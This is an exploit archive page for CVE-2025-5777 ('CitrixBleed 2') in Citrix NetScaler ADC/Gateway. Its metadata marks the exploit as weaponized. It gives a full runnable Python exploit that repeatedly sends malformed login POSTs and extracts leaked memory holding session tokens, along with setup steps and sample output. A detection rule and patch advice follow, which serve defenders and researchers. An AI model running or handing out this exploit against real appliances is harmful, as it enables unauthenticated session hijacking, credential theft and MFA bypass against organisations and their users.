PoC Archive PoC Archive
Critical CVE-2025-5777 patched

Citrix NetScaler CitrixBleed 2 Session Token Disclosure (CVE-2025-5777)

by win3zz · 2026-05-16

CVSS 9.3/10
Severity
Critical
CVE
CVE-2025-5777
Category
web
Affected product
Citrix NetScaler ADC / NetScaler Gateway login interface
Affected versions
Vulnerable builds listed by Citrix advisory CTX693420 (fixed builds vary by release branch)
Disclosed
2026-05-16
Patch status
patched

Metadata

FieldValue
Date Added2026-05-16
Author / Researcherwin3zz
CVE / AdvisoryCVE-2025-5777
Categoryweb
SeverityCritical
CVSS Score9.3 (CVSSv4)
StatusWeaponized
Tagscitrixbleed2, memory-disclosure, session-hijack, NetScaler, Gateway, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemCitrix NetScaler ADC / NetScaler Gateway login interface
Versions AffectedVulnerable builds listed by Citrix advisory CTX693420 (fixed builds vary by release branch)
Language / PlatformNetScaler appliance web authentication stack (HTTP/HTTPS)
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2025-5777 (“CitrixBleed 2”) is an unauthenticated out-of-bounds memory disclosure in Citrix NetScaler ADC/Gateway authentication processing. A crafted request can leak chunks of process memory that may contain active session tokens and credentials. Because stolen session material can be replayed, exploitation enables account/session hijacking without valid credentials and may bypass MFA.


Vulnerability Details

Root Cause

The vulnerable endpoint returns uninitialized/out-of-bounds memory data when malformed authentication POST input is parsed (notably malformed login parameter handling). Returned XML can include leaked memory bytes inside <InitialValue> values.

Attack Vector

A remote unauthenticated attacker sends repeated crafted POST requests to the authentication endpoint (for example /p/u/doAuthentication.do with malformed form data). The attacker harvests leaked memory fragments from responses and searches for valid NetScaler session material.

Impact

Successful exploitation can disclose session tokens, plaintext credentials, and other sensitive in-memory data. With valid tokens, attackers can hijack authenticated sessions and access protected services without direct credential knowledge.


Environment / Lab Setup

OS:          Ubuntu 20.04+ / any Python 3 environment
Target:      Authorized Citrix NetScaler ADC/Gateway appliance in vulnerable build range
Attacker:    Security testing workstation with network reachability
Tools:       Python 3, aiohttp, colorama

Setup Steps

1
2
3
4
git clone https://github.com/win3zz/CVE-2025-5777
cd CVE-2025-5777

pip3 install aiohttp colorama

Proof of Concept

Step-by-Step Reproduction

  1. Confirm authorized scope and identify a reachable NetScaler login endpoint.
  2. Run the PoC with the target base URL.
  3. Inspect <InitialValue> leaks and check for credential/session artifacts across repeated requests.

Exploit Code

See exploit.py in this folder.

1
2
3
4
async with session.post(f"{url}/p/u/doAuthentication.do", data="login", ssl=False) as response:
    if response.status == 200:
        content = await response.read()
        match = re.search(r"<InitialValue>(.*?)</InitialValue>", content.decode("utf-8", "replace"), re.DOTALL)

Expected Output

[+] Found InitialValue:
00000000: 6e 73 63 5f 61 61 61 3d ...                nsc_aaa=...
[+] Leak detected! Continuing to extract...

Screenshots / Evidence

  • screenshots/ — add authorized captures of request/response leakage and token extraction workflow

Detection & Indicators of Compromise

SIEM / IDS Rule (example):

alert http any any -> $HOME_NET any (
  msg:"Possible CitrixBleed 2 CVE-2025-5777 probe";
  flow:to_server,established;
  http.method; content:"POST";
  http.uri; content:"/p/u/doAuthentication.do";
  http.client_body; content:"login";
  sid:95255777; rev:1;
)

Remediation

ActionDetail
PatchUpgrade to Citrix-fixed NetScaler ADC/Gateway builds referenced in CTX693420
WorkaroundRestrict external access to management/authentication endpoints and enforce trusted network segmentation
Config HardeningMonitor and invalidate suspicious sessions; review for token theft; apply rapid session rotation after patching

References


Notes

Auto-ingested from https://github.com/win3zz/CVE-2025-5777 on 2026-05-16.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.

"""
Title: Citrix NetScaler Memory Leak Exploit
CVE: CVE-2025-5777
Script Author: Bipin Jitiya (@win3zz)
Script Tested on: Ubuntu 20.04.6 LTS with Python 3.8.10
Writeup: https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/
"""

import sys
import asyncio
import aiohttp
import signal
import argparse
import re
from colorama import init, Fore, Style

# Init colorama
init(autoreset=True)

# Global flags
stop_flag = False
verbose = False
proxy = None
threads = 10
leak_detected_once = False
initial_check_done = False

def signal_handler(sig, frame):
    global stop_flag
    stop_flag = True
    print(f"\n{Fore.YELLOW}[+] Stopping gracefully...")

def hex_dump(data):
    for i in range(0, len(data), 16):
        chunk = data[i:i+16]
        hex_bytes = ' '.join(f'{b:02x}' for b in chunk)
        ascii_str = ''.join((chr(b) if 32 <= b <= 126 else '.') for b in chunk)
        print(f'{i:08x}: {hex_bytes:<48} {ascii_str}')

def extract_initial_value(content_bytes):
    global leak_detected_once
    try:
        content_str = content_bytes.decode("utf-8", errors="replace")
        match = re.search(r"<InitialValue>(.*?)</InitialValue>", content_str, re.DOTALL)
        if match and match.group(1).strip():
            leak_detected_once = True
            print(f"{Fore.GREEN}\n[+] Found InitialValue:")
            val = match.group(1)
            hex_dump(val.encode("utf-8", errors="replace"))
        elif verbose:
            print(f"{Fore.YELLOW}[DEBUG] No <InitialValue> tag with value found.")
    except Exception as e:
        print(f"{Fore.RED}[!] Regex parsing error: {e}")

async def fetch(session, url):
    full_url = f"{url}/p/u/doAuthentication.do"
    try:
        async with session.post(full_url, data="login", proxy=proxy, ssl=False) as response:
            if verbose:
                print(f"{Fore.CYAN}[DEBUG] POST to {full_url} -> Status: {response.status}")
            if response.status == 200:
                content = await response.read()
                if verbose:
                    print(f"{Fore.CYAN}[DEBUG] Response body (first 200 bytes): {content[:200]!r}")
                extract_initial_value(content)
            else:
                if verbose:
                    print(f"{Fore.RED}[DEBUG] Non-200 status code received: {response.status}")
    except aiohttp.ClientConnectorError as e:
        print(f"{Fore.RED}[!] Connection Error: {e}")
    except Exception as e:
        print(f"{Fore.RED}[!] Unexpected Error: {e}")

async def main(url):
    global stop_flag, leak_detected_once, initial_check_done
    connector = aiohttp.TCPConnector(limit=threads)
    timeout = aiohttp.ClientTimeout(total=15)

    async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
        while not stop_flag:
            tasks = [fetch(session, url) for _ in range(threads)]
            await asyncio.gather(*tasks)

            if not initial_check_done:
                initial_check_done = True
                if not leak_detected_once:
                    print(f"{Fore.YELLOW}[+] No leak detected in initial round. Target likely not vulnerable.")
                    stop_flag = True
                    break
                else:
                    print(f"{Fore.GREEN}[+] Leak detected! Continuing to extract...")

            await asyncio.sleep(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-5777 Citrix NetScaler Memory Leak PoC (Educational Only)")
    parser.add_argument("url", help="Base URL (e.g., http://target.com)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable debug output")
    parser.add_argument("-p", "--proxy", help="HTTP proxy URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("-t", "--threads", type=int, default=10, help="Number of concurrent threads (default: 10)")
    args = parser.parse_args()

    verbose = args.verbose
    proxy = args.proxy
    threads = args.threads

    signal.signal(signal.SIGINT, signal_handler)

    try:
        asyncio.run(main(args.url.rstrip("/")))
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}[+] Interrupted by user.")